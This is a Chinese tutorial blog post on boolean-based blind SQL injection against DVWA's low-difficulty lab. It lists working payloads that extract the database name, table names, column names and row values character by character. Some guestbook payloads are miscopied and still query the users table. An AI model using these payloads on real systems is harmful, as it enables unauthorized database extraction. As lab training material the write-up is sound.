DVWA布尔盲注(难度low)

事先判断,分别用 1and 1=1     1 and 1=2和1' and '1' ='1     1' and '1'='2 

可以看到图,1 and 1=1  下面提示了User ID exists in the database.  (在这里我暂时把这个提示当成对的)上面那个一直尝试到1' and '1'='2 出现了不一样的提示:User ID is MISSING from the database.

由此我判定这个为盲注,输入没有回显,只有对和错提示

A.获取数据库名


(1)判断数据库的长度


length(database())<5
通过尝试数据库的长度为4

(2)获取数据库的名称


1' and substr(database(),1,1)='a'#
通过爆破得出数据库名字为dvwa


B.获取数据表名


(1)获取数据表的数量


1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')<5#
通过尝试发现表的数量为2

(2)获取表的长度


1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)<10#
第一个表长度为9,第二个表长度为5

(3)获取表名称


select table_name from information_schema.tables where table_schema=database() limit 0,1
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)<200#
利用这种方式套用,不断的尝试得出所有的字母
得出第一个表名为guestbook
第二个表名为users

C.获取数据列名


(1)获取表的字段数量


上面就查出来俩个表的名字了,那么通过表名查字段,users有8个字段
1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')<10#

guestbook表有3个字段
1' and (select count(column_name) from information_schema.columns where table_name='guestbook' and table_schema='dvwa')=3#

(2)获取字段数长度


首先先获取users的表
1' and (select length(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)<10#
按照这种方式不断的尝试可以得出users表第一个字段的长度为:7    
通过修改 limit 后面的第一个数字,可以切换下一个字段,也就是 limit 0,1 修改成limit 1,1 
按照这样的方法可以得出
1' and (select length(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 1,1)=10#
第二个字段长度为:10
第三个字段长度为:9
第四个字段长度为:4
第五个字段长度为:8
第六个字段长度为:6
第七个字段长度为:10
第八个字段长度为:12

再获取guestbook表的字段长度:
第一个字段长度为:10
1' and (select length(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)=10#
第二个字段长度为:7
1' and (select length(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)>10#
第三个地段长度为:4
1' and (select length(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)>10#


(3)获取字段名


获取users表的第一个字段的首个字母:user_id
1' and(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)=117#    
后面的按照这种方式进行计算,利用ascii表,这样更加快捷,准确,
例如users的第一个字段的第五个,并不是一个字母,而是一个字符,这个就体现出ascii表的好处:
1' and(select ascii(substr(column_name,5,1)) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)=95#
后面的表的字段就按照这种方法进行套改。

D.获取数据内容


(1)获取数据表的行数


users表的数据有5行
1' and (select count(user_id) from users)=5

guestbook 表的数据有1行


(2)猜数据的长度


以users表的user_id为例子(上面就知道了每个字段的名称了)
1' and (select length(user_id) from users limit 0,1)=1# 
用limit 0,1来控制下一行, 那个等号也是可以自己调节成大小于符号,来得出最终的结果
所以user_id的第一行长度为1


(3)逐位猜解数据


还是以users表user_id为例子
1' and (select ascii(substr(user_id,1,1)) from users limit 0,1)=49#
查看ascii表得出user_id为1
 

  • 35
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值